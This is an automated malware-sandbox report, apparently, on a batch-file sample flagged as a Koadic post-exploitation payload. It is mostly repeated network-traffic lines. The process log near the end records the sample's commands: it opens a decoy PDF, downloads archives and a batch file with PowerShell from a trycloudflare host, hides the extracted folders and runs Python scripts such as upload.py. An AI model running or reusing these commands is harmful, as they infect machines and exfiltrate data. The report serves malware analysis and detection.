Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49977 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49920 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49915 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49869 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49892 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49870 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49974 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49940 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49970 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 49925 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49960 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923

Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.51:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.4:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.51:443 -> 192.168.2.4:49979 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: J1IrCccVO6.bat, type: SAMPLE

Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: J1IrCccVO6.bat, type: SAMPLE

Matched rule: MALWARE_BAT_KoadicBAT author = ditekSHen, description = Koadic post-exploitation framework BAT payload

Source: classification engine

Classification label: mal76.evad.winBAT@73/19@37/7

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2108:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3tyhj4zz.55l.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\J1IrCccVO6.bat" "

Source: C:\Windows\System32\timeout.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: J1IrCccVO6.bat

ReversingLabs: Detection: 47%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\J1IrCccVO6.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1996,i,12952766583181054471,15823528820358115948,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe money.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe moment.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe update.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe upload.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe time.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe kam.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe momentomo.py
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/startupppp.bat' -OutFile 'C:\Users\user\Downloads\startupppp.bat' }"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2060 --field-trial-handle=1996,i,2645576372623155973,14039107188322789898,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/FTSP.zip' -OutFile 'C:\Users\user\Downloads\FTSP.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\FTSP.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Print"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://ride-fatal-italic-information.trycloudflare.com/kbsfaw.pdf	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'https://ride-fatal-italic-information.trycloudflare.com/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for extraction to finish (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h "C:\Users\user\Downloads\Python"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe money.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe moment.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe update.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe upload.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe time.py	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\AppInstallerPythonRedirector.exe python.exe kam.py	Jump to behavior
